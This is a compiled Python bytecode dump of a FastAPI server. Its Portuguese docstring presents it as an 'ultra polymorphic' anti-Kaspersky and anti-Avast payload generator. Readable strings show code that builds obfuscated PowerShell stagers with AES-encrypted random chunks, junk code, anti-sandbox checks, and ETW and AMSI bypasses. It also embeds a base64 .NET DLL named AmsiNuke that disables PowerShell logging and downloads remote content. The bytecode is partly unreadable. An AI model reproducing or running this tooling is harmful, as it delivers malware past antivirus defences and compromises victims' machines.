U
    Ojr                    @   s4  d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlmZ ddlmZ ddlmZmZmZ ddlmZ ddlZddlZddlZddlZddlmZ z(ddlmZmZmZ dd	lm Z  d
Z!W n e"k
r   dZ!Y nX dddddd
dZ#d
ddd
d
d
dd
d
d
d
d
d
ddd
ddddZ$g g ddZ%dddddZ&dddZ'dd Z(d d! Z)d"d# Z*d$d% Z+d&d' Z,d(d) Z-d*d+ Z.d,d- Z/dd/d0Z0ddl1Z1ddl2Z2ddlmZ3 d1Z4d2Z5e6d3d4d5Z7e6d6d7d8Z8d9d: Z9d;d< Z:e;e<d=d>d?Z=d@dA Z>e;e;dBdCdDZ?e;e<dEdFdGZ@e;e6e<dHdIdJZAdKdL ZBdMdN ZCdOdP ZDdQdR ZEdSdT ZFdUdV ZGdWdX ZHdYdZ ZId[d\ ZJd]d^ ZKd_d` ZLdadb ZMdcdd ZNdedf ZOdgdh ZPdidj ZQdkdl ZRdmdn ZSdodp ZTeUeUeUeUdqdrdsZVe;e;d=dtduZWdvdwd
ddxe;e;eXeXeYeYe;dydzd{ZZe;e;d=d|d}Z[e;e;d=d~dZ\e;e;d=ddZ]e;e6d=ddZ^e;dddZ_e;e;dddZ`e;e;ddddZade;e6e;dHddZbi acG dd dZded Zez$ddlfmgZg ddlhmiZi ddljZjW n( e"k
r   ekd eld Y nX egdddZmddiZnemoddd Zpemjqdeidde;dddZremqdde;dddZsemqddd Ztemqddd Zuemqde;dddZvemqddd Zwemqddd Zxemqddd Zyezdkr0ej{|ej{}ej~d d Zejje de#d e#d ddd dS )u  
╔═════════════════════════════════════════════════════════════════════════════╗
║  SERVIDOR COMPLETO + POOL v9.3 - ULTRA POLIMÓRFICO (Anti-Kaspersky)         ║
╠═════════════════════════════════════════════════════════════════════════════╣
║                                                                              ║
║  v9.3 CORRIGIDO - Tipos .NET literais, propriedades ofuscadas:               ║
║  - Tipos como [Convert], [Security.Cryptography.Aes] = LITERAIS             ║
║  - Propriedades como .Key, .IV = ofuscadas com obfuscate_for_property()     ║
║  - Parâmetros de GetType() = ofuscados com obfuscate_string_runtime()       ║
║  - AES-256-CBC com chaves únicas por requisição                              ║
║  - Chunks em quantidade e ordem aleatória (3-6 chunks)                       ║
║  - Junk code distribuído (15-25% probabilidade)                              ║
║  - Anti-sandbox com verificação de tempo (50% chance)                        ║
║                                                                              ║
║  v8.9 ANTI-AVAST - String Concatenation SEGURA:                             ║
║  - Ofusca APENAS strings em New-Object (contexto seguro)                    ║
║                                                                              ║
║  Referencias: bl4ckarch 2026, r-tec 2025, SpecterInsight                    ║
╚═════════════════════════════════════════════════════════════════════════════╝

INSTALAÇÃO:
    pip3 install fastapi uvicorn cryptography --break-system-packages

EXECUTAR:
    python3 servidor_completo_pool.py

TESTAR:
    curl http://localhost:8888/health
    curl http://localhost:8888/proteger
    N)Path)datetime)OptionalTupleDict)ProcessPoolExecutor)dequeCipher
algorithmsmodesdefault_backendTF0.0.0.0i"     z/var/www/htmlz
msedge.txt)hostportworkersbase_dirsource_filelog_requests      )enable_sleep_jittersleep_min_secondssleep_max_secondsgenerate_stagerenable_aes_encryptionenable_amsi_bypasschunk_countenable_bypassenable_string_encryptenable_var_renameenable_func_renameenable_type_obfuscationenable_comment_removalenable_number_obfuscationenable_path_obfuscationenable_junk_codeenable_final_compressenable_disk_encryptjunk_code_densitysensitive_ipssensitive_domainsserver_portd         )min_sizemax_sizerefill_thresholdgenerator_threads    c                    s*   t j d fddt| D }|| S )u.   Gera nome aleatório para variáveis/funçõesr8   c                 3   s   | ]}t  V  qd S Nrandomchoice.0_chars '/var/www/html/servidor_completo_pool.py	<genexpr>   s     zrandom_name.<locals>.<genexpr>)stringascii_lettersjoinrange)lengthprefixnamerB   r@   rC   random_name   s    rL   c                   C   s   dt tdd S )u,   Gera nome de variável PowerShell aleatório$r2   r   rL   r;   randintrB   rB   rB   rC   
random_var   s    rP   c                 C   s    t | d }d| dS )u;   Gera expressão PowerShell que decodifica Base64 em runtime	utf-16-lezH([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(''))))base64	b64encodeencodedecode)valueb64rB   rB   rC   b64_encode_ps   s    rY   c                    s6   t dd d fdd| D }d| d  dS )	N      ,c                 3   s   | ]}t t| A V  qd S r9   strordr>   ckeyrB   rC   rD      s     z xor_encode_ps.<locals>.<genexpr>(-join([byte[]]@()|%{[char]($_-bxor)}))r;   rO   rG   )rW   encodedrB   rb   rC   xor_encode_ps   s    ri   c                    s  t dd}|dkrJt dd d fdd| D }d| d  d	S |d
krt dddfdd| D }d| d d	S |dkrt dddfdd| D }d| d d	S |dkrt| d }d| dS |dkrt| d }d| dS |dkrt| dk r<d|  dS g }d}|t| k rt dtd
t| d }|	d| |||   d ||7 }qDdd| d S |dkrt| d
k rd|  dS d| d d d!  d"t| d  d#S dd$d | D }d%| d&S d S )'u[  Ofusca string para ser reconstruída em runtime - ULTRA POLIMÓRFICO
    
    8 métodos diferentes, escolhidos aleatoriamente, com parâmetros aleatórios.
    NUNCA produz o mesmo resultado duas vezes.
    
    NOTA: Retorna string que pode ser usada como VALOR, não como tipo.
    Para tipos use obfuscate_type_name() ou strings literais.
    rZ   r   r[   r\   c                 3   s   | ]}t t| A V  qd S r9   r]   r`   rb   rB   rC   rD      s     z+obfuscate_string_runtime.<locals>.<genexpr>rd   re   rf      2   c                 3   s"   | ]}t t|  d  V  qdS    Nr]   r`   offsetrB   rC   rD      s     z)|%{[char]($_-r   c                 3   s&   | ]}t t|  d  d  V  qdS rl   r]   r`   rn   rB   rC   rD      s     z)|%{[char]($_+r   rQ   zA([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('rR   r2   utf-8z>([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('r7   'r   (+)   z(-join('Nz'[(z)..0]))c                 s   s   | ]}t t|V  qd S r9   r]   r`   rB   rB   rC   rD      s     (-join([char[]]@())))
r;   rO   rG   rS   rT   rU   rV   lenmaxappend)smethodrh   rX   partsposchunkcodesrB   )rc   ro   rC   obfuscate_string_runtime   sF    	


$r   c                 C   s   t dd}|dkr d|  dS |dkrnt| dk r@d|  dS t| d }d| d|  d| |d  dS d	d
d | D }d| dS dS )uz   Ofusca string para uso como nome de propriedade: $obj.($str)
    Usa apenas métodos simples que funcionam nesse contexto.rZ   r   rq   rj   ('Nz'+'')r\   c                 s   s   | ]}t t|V  qd S r9   r]   r`   rB   rB   rC   rD      s     z)obfuscate_for_property.<locals>.<genexpr>rw   rx   )r;   rO   ry   rG   )r|   r}   midr   rB   rB   rC   obfuscate_for_property   s    "r   c                  C   sR   dd dd dd dd dd dd dd d	d d
d dd dd g} t |  S )u1   Gera código morto que parece legítimo - VARIADOc                   S   s$   dt tdd dtdd S )NrM   r   ru   =rZ   i rN   rB   rB   rB   rC   <lambda>       z$generate_junk_code.<locals>.<lambda>c                   S   s*   dt tdd dt tdd dS )NrM   r   ru   ='r2      rq   rN   rB   rB   rB   rC   r      r   c                   S   s   dt d dS )Nzif($false){$r   z=$null}rL   rB   rB   rB   rC   r      r   c                   S   s"   dt dd dt dd dS )Nz[void](rZ     rs   rt   r;   rO   rB   rB   rB   rC   r      r   c                   S   s   dt dd dS )Nz$null=[Math]::Abs(ir   rt   r   rB   rB   rB   rC   r      r   c                   S   s   dt d dS )Nztry{$r   z=$null}catch{}r   rB   rB   rB   rC   r      r   c                   S   s   dS )Nzwhile($false){break}rB   rB   rB   rB   rC   r      r   c                   S   s   dt d dS )NrM   r   z=[Environment]::TickCountr   rB   rB   rB   rC   r      r   c                   S   s   dS )Nz[void][Guid]::NewGuid()rB   rB   rB   rB   rC   r      r   c                   S   s   dS )Nz$null=[DateTime]::Now.TicksrB   rB   rB   rB   rC   r      r   c                   S   s   dt d dt d dS )NrM   r   z=$null;Remove-Variable z -EA 0r   rB   rB   rB   rC   r      r   r:   )	templatesrB   rB   rC   generate_junk_code   s    r   c                  C   sZ   dt d } dt d }tdd}d|  d| d| d| d|  d	|d
  d }|S )u'   Gera código anti-sandbox/anti-análiserM   r   rk   r1   
z4=[Environment]::TickCount
Start-Sleep -Milliseconds z=[Environment]::TickCount
if((-z) -lt rj   z
){return}
)rL   r;   rO   strip)var1var2sleep_mscoderB   rB   rC   generate_anti_sandbox   s"    r   c                 C   sP   t dd}|dkr2t|}|  d| d|  dS t|}d|  d| dS d	S )
u5   Ofusca chamada de método usando reflection ou stringrZ   rj   z.GetType().GetMethod(z	).Invoke(z,@())z(Invoke-Expression ('z.' + z	 + '()'))N)r;   rO   r   )obj_varmethod_namer}   
method_strrB   rB   rC   obfuscate_method_call  s    r   rj   c           	      C   s   t | dk rd|  dS tt||t | }t | | }g }t|D ]B}|| }||d k rf|| nt | }|d| ||  d qFdd| d S )z+Fragmenta uma string em partes concatenadasr   "rZ   rr   z + rt   )ry   minr;   rO   rH   r{   rG   )	r|   	min_parts	max_parts	num_partspart_lenr~   istartendrB   rB   rC   split_string  s    r   z/opt/proteger/aes_keys.jsonaX  TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAI6gcmoAAAAAAAAAAOAAAiELAQsAAA4AAAAGAAAAAAAAXiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAQsAABXAAAAAEAAAKgCAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAZAwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKgCAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABALAAAAAAAAEgAAAACAAUAiCMAAHwIAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABswAwCXAgAAAQAAER8oChQLKAMAAApvBAAAChMWFhMXKyIRFhEXmgwIcgEAAHAWbwUAAAoLBxQoBgAACi0OERcXWBMXERcRFo5pMtYHFCgHAAAKLAgXExXdQwIAABQNKAMAAApvBAAAChMYFhMZKyQRGBEZmhMEEQRyTwAAcBZvBQAACg0JFCgGAAAKLQ4RGRdYExkRGREYjmky1AkUKAYAAAo5ggAAAAlyuwAAcAZvCAAAChMFEQUUKAkAAAosahEFFG8KAAAKEwYRBixcEQZvCwAACnLNAABwHyRvCAAAChMHEQcUKAkAAAosPREHEQZvCgAAChMIEQgsLhEIbwsAAApy5QAAcB8kbwgAAAoTCREJFCgJAAAKLA8RCREIFowJAAABbwwAAAreAybeABQTCigDAAAKbwQAAAoTGhYTGysmERoRG5oTCxELcvkAAHAWbwUAAAoTChEKFCgGAAAKLQ4RGxdYExsRGxEajmky0hEKFCgGAAAKOcQAAAARCnI/AQBwBm8IAAAKEwwRDBQoCQAACjmoAAAAEQwUbwoAAAoTDRENOZcAAAARDXUKAAABEw4RDjmHAAAAcnMBAHATD3KZAQBwExARDhEPbw0AAAosOBEOEQ9vDgAACnUKAAABExERESwkERFyRAIAcBaMCQAAAW8PAAAKERFydgIAcBaMCQAAAW8PAAAKcxAAAAoTEhESckQCAHAWjAkAAAFvEQAAChEScnYCAHAWjAkAAAFvEQAAChEOERAREm8PAAAK3gMm3gAHcrwCAHAGbwgAAAoTExETFCgSAAAKLAUYExXePBETFG8KAAAKpQwAAAETFBEUfhMAAAooFAAACiwFGRMV3hoRFB4oFQAAChZqKBYAAAoWExXeBiYVExXeABEVKgBBTAAAAAAAAFEAAADPAAAAIAEAAAMAAAABAAABAAAAACMBAAAVAQAAOAIAAAMAAAABAAABAAAAAAAAAACOAgAAjgIAAAYAAAABAAABGzACACMAAAACAAARIAAMAAAoFwAACnMYAAAKAigZAAAKCt4JJnLUAgBwCt4ABioAARAAAAAAAAAYGAAJAQAAAR4CKBoAAAoqQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAA6AEAACN+AABUAgAAUAIAACNTdHJpbmdzAAAAAKQEAADYAgAAI1VTAHwHAAAQAAAAI0dVSUQAAACMBwAA8AAAACNCbG9iAAAAAAAAAAIAAAFHFQIICQAAAAD6JTMAFgAAAQAAABAAAAACAAAAAwAAAAEAAAAaAAAAAgAAAAIAAAABAAAAAQAAAAIAAAAAAAoAAQAAAAAABgApACIABgBcADwABgB8ADwABgCjACIABgDRAL8ABgDoACIABgAPAb8ABgAZAb8ABgA4ASIABgBaAUcBBgCcAYEBBgCpASIABgDYAbkBCgD2AesBCgAKAusBCgA0AusBAAAAAAEAAAAAAAEAAQABABAAFwAAAAUAAQABAFAgAAAAAJYAMAAKAAEAQCMAAAAAlgAyAA4AAQCAIwAAAACGGDQAEwACAAAAAQA6ABEANAAXABkANAATACEArQAcACEA2gAhACkA7QAnADEA9QAuADEAAwEuADEAJgE2ADkA9QA+ADkALwFGAAkA7QBLADkAPgFQAFEAZgFWAFEAbwFGAFEAeAFQAAwANAATAAwAeAFiADkAAwE+AGEAsAFqAGEAAwFtAGEAtQFzAGkA4AF5AHEAHwK3AIEANAATAIEAPgK9AAkANAATAC4ACwDGAC4AEwDPAH8AwgBbAASAAAAAAAAAAAAAAAAAAAAAAJoAAAAEAAAAAAAAAAAAAAABABkAAAAAAAQAAAAAAAAAAAAAAAEAIgAAAAAAAAAAPE1vZHVsZT4AQW1zaU51a2UuZGxsAFIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdABFAEQALmN0b3IAdQBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQW1zaU51a2UAQXBwRG9tYWluAGdldF9DdXJyZW50RG9tYWluAFN5c3RlbS5SZWZsZWN0aW9uAEFzc2VtYmx5AEdldEFzc2VtYmxpZXMAVHlwZQBHZXRUeXBlAG9wX0luZXF1YWxpdHkAb3BfRXF1YWxpdHkARmllbGRJbmZvAEJpbmRpbmdGbGFncwBHZXRGaWVsZABHZXRWYWx1ZQBJbnQzMgBTZXRWYWx1ZQBTeXN0ZW0uQ29sbGVjdGlvbnMASURpY3Rpb25hcnkAQ29udGFpbnMAZ2V0X0l0ZW0Ac2V0X0l0ZW0AU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMARGljdGlvbmFyeWAyAEludFB0cgBaZXJvAEFkZABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABXcml0ZUludDY0AFN5c3RlbS5OZXQAU2VydmljZVBvaW50TWFuYWdlcgBTZWN1cml0eVByb3RvY29sVHlwZQBzZXRfU2VjdXJpdHlQcm90b2NvbABXZWJDbGllbnQARG93bmxvYWRTdHJpbmcAAAAAAE1TAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAAGtTAHkAcwB0AGUAbQAuAE0A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returnc               
   C   sL   z:t jtr8ttd} t| W  5 Q R  W S Q R X W n   Y nX i S )Nr)ospathexists	KEYS_FILEopenjsonload)frB   rB   rC   
_load_keys-  s    "r   )keysc              
   C   s\   z&t td}t| | W 5 Q R X W n0 tk
rV } ztd|  W 5 d }~X Y nX d S )Nwz[ERRO] Salvar chaves: )r   r   r   dump	Exceptionprint)r   r   erB   rB   rC   
_save_keys6  s
    r   c                     s8  dt d } dt d }dt d }dt d }dt d }dt d }dt d }dt d }dt d }tdd d}	d}
d}d	 fd
d|	D }d	 fdd|
D }d	 fdd|D }g }|d || d t   ||d | d |  d  ||d | d |  d  ||d | d |  d  ||d  ||d | d | d  |d| d  ||d | d | d  |d| d  ||d | d  |d| d  ||d | d | d  |d| d | d | d  |d d |d  S )!zETW bypass - desabilita telemetria PS antes do bypass AMSI.
    
    v7.3 - strings montadas de byte arrays em runtime (nao literais)
    Defender usa ETWti (kernel events); desabilitar PSEtwLogProvider reduz telemetria.
    rM   r   r   rZ      z5System.Management.Automation.Tracing.PSEtwLogProvideretwProvider	m_enabledr\   c                 3   s"   | ]}t t|  d @ V  qdS    Nr]   r`   rn   rB   rC   rD   R  s     z&generate_etw_bypass.<locals>.<genexpr>c                 3   s"   | ]}t t|  d @ V  qdS r   r]   r`   rn   rB   rC   rD   S  s     c                 3   s"   | ]}t t|  d @ V  qdS r   r]   r`   rn   rB   rC   rD   T  s     try{r   =-join(([byte[]]@())|%{[char]($_ -)})=[Ref].Assembly	.GetType(rt   if(){
.GetField(z,'NonPublic,Static').GetValue($null)z.GetType().GetField(z,'NonPublic,Instance')z
.SetValue(z,0)}z}}}}catch{}r   )rL   r;   rO   rG   r{   r^   )v_kv_t1v_t2v_t3v_asmv_typev_fieldv_provv_efn1n2n3b1b2b3linesrB   rn   rC   generate_etw_bypass=  sB    
"
r   c                     sr  t  } dtd }dtd }dtd }dtd }dtd }dtd }dtd }dtd }dtd }	tdd d}
d}d}d	 fd
d|
D }d	 fdd|D }d	 fdd|D }d}g }|d ||d t   ||d | d | d  ||d | d | d  ||d | d | d  ||d  ||d | d | d  |d| d  ||d  |d|	 d | d	 | d  ||d | d |	 d | d  |d| d  |d| d   |d!| d"  |d# |d| d$  |d%| d&  |d# |d' | d(| d( S ))ar  AMSI bypass v8.2 - Tecnica hibrida com fallbacks multiplos.
    
    2026 Research Update:
    - pAppName null (+0x08) continua funcionando e NAO e monitorado pelo Defender
    - ETW bypass via m_enabled field 
    - Fallback para s_amsiContext (PS7) e amsiContext (PS5)
    - Strings 100% dinamicas via byte arrays
    - ZERO VirtualProtect, ZERO patch em amsi.dll
    rM   r   r   rZ   r   z&System.Management.Automation.AmsiUtilss_amsiContextamsiContextr\   c                 3   s"   | ]}t t|  d @ V  qdS r   r]   r`   rn   rB   rC   rD     s     z'generate_amsi_bypass.<locals>.<genexpr>c                 3   s"   | ]}t t|  d @ V  qdS r   r]   r`   rn   rB   rC   rD     s     c                 3   s"   | ]}t t|  d @ V  qdS r   r]   r`   rn   rB   rC   rD     s     40r   r   r   r   r   r   r   rt   r   r   z=[IntPtr]::Zerozforeach(z in @(z)){r   z,[Reflection.BindingFlags]z$_v=r   z$if($_v -and $_v -ne [IntPtr]::Zero){z=[IntPtr]$_v;break}z}}z -ne [IntPtr]::Zero){z.[Runtime.InteropServices.Marshal]::WriteInt64(z,8,0)}catch{}r   )r   rL   r;   rO   rG   r{   r^   )etw_coder   r   r   r   v_rv_tyv_cxv_fdv_n	type_namefield1field2
type_bytesfield1_bytesfield2_bytesbf_valr   rB   rn   rC   generate_amsi_bypassi  sN    
"&


r   )r   r   c           
      C   s   t d}t d}| d}dt|d  }|t|g| 7 }tr|tt|t	
|t d}| }|||  }nddlm} t|||}|| }	t| t|	 fS )zECriptografa payload com AES-256-CBC. Retorna (encrypted_b64, key_b64)       rp   backendr   )sha256)r   urandomrU   ry   bytesCRYPTO_FASTr
   r   AESr   CBCr   	encryptorupdatefinalizehashlibr   _aes_cbc_encrypt_purerS   rT   rV   )
r   rc   iv
code_bytespad_lencipherenc	encryptedr   full_keyrB   rB   rC   aes_encrypt_payload  s    


r  c                 C   sN  zddl }ddlm}m}m}m}m} tj	dr<|
dn|
d}	|	 }
|	|
|	 d|| |	|
d |t| d }|d}|	|
||| t|  |jd|j }|d}|	|
|| ||jd|j 7 }|	|
 |W S    ddlm}m}m} dd	lm} |||||| d
}| }|| |   Y S X dS )z2AES-CBC fallback Python puro (lento mas funcional)r   N)cdllc_char_pc_size_tc_intcreate_string_bufferz(/usr/lib/x86_64-linux-gnu/libcrypto.so.3zlibcrypto.so.3zlibcrypto.sor   r	   r   r   ) structctypesr  r  r  r  r  r   r   r   LoadLibraryEVP_CIPHER_CTX_newEVP_EncryptInit_exEVP_aes_256_cbcEVP_CIPHER_CTX_set_paddingry   EVP_EncryptUpdaterawrW   EVP_EncryptFinal_exEVP_CIPHER_CTX_free&cryptography.hazmat.primitives.ciphersr
   r   r   cryptography.hazmat.backendsr   r   r   r   r   r   )datarc   r   r  r  r  r  r  r  libctxoutoutlresultfinlC2A2M2db2r   r   rB   rB   rC   r     s,     
r   )r|   r   c                    s6   t dd d fdd| D }d| d  dS )	u=   Gera expressão PS que reconstrói string via XOR em runtime.rZ   r[   r\   c                 3   s   | ]}t t| A V  qd S r9   r]   r`   rb   rB   rC   rD     s     z(_obfuscate_string_xor.<locals>.<genexpr>rd   re   rf   rg   )r|   rh   rB   rb   rC   _obfuscate_string_xor  s    r   )rX   r   c                    s   t dd t fdd| D }t| }dd tdD }g }d}d}|t|k r||t|  }|||||   ||7 }|d7 }qN| fS )	uI   Ofusca assembly Base64 com XOR + chunks para evitar detecção estática.!   ~   c                    s   g | ]}t | A qS rB   r_   r`   xor_keyrB   rC   
<listcomp>  s     z*_obfuscate_asm_b64_xor.<locals>.<listcomp>c                 S   s   g | ]}t d dqS )r1   i  r   r=   rB   rB   rC   r&    s     
   r   rZ   )	r;   rO   r   rS   rT   rV   rH   ry   r{   )rX   xored_bytes	xored_b64chunk_sizeschunksr   idxsizerB   r$  rC   _obfuscate_asm_b64_xor  s    
r.  )r   configr   c           3   
      s  t | \}}t jdd }tt\}}g  g }t|D ]<\}}	dtt	dd }
 
|
 |
|
 d|	 d q:dtt	dd }dtt	dd	 }dtt	dd }dtt	dd }dtt	dd
 }dtt	dd
 }dtt	dd
 }dtt	dd
